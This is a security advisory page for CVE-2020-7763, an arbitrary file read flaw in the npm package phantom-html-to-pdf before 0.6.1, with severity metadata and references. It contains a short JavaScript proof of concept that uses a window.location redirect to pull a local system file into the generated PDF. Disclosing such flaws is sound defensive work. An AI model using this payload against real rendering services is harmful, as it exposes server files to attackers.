Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZoN2YtcXdxbS0zNXBw

Arbitrary File Read in phantom-html-to-pdf

This affects the package phantom-html-to-pdf before 0.6.1.

PoC

var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
    html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
});

Permalink: https://github.com/advisories/GHSA-6h7f-qwqm-35pp
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZoN2YtcXdxbS0zNXBw
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 3 years ago
Updated: 7 months ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Identifiers: GHSA-6h7f-qwqm-35pp, CVE-2020-7763
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-7763
• https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259
• https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598
• https://www.npmjs.com/package/phantom-html-to-pdf
• https://github.com/advisories/GHSA-6h7f-qwqm-35pp

Repository: https://github.com/pofider/phantom-html-to-pdf
Blast Radius: 15.8

Affected Packages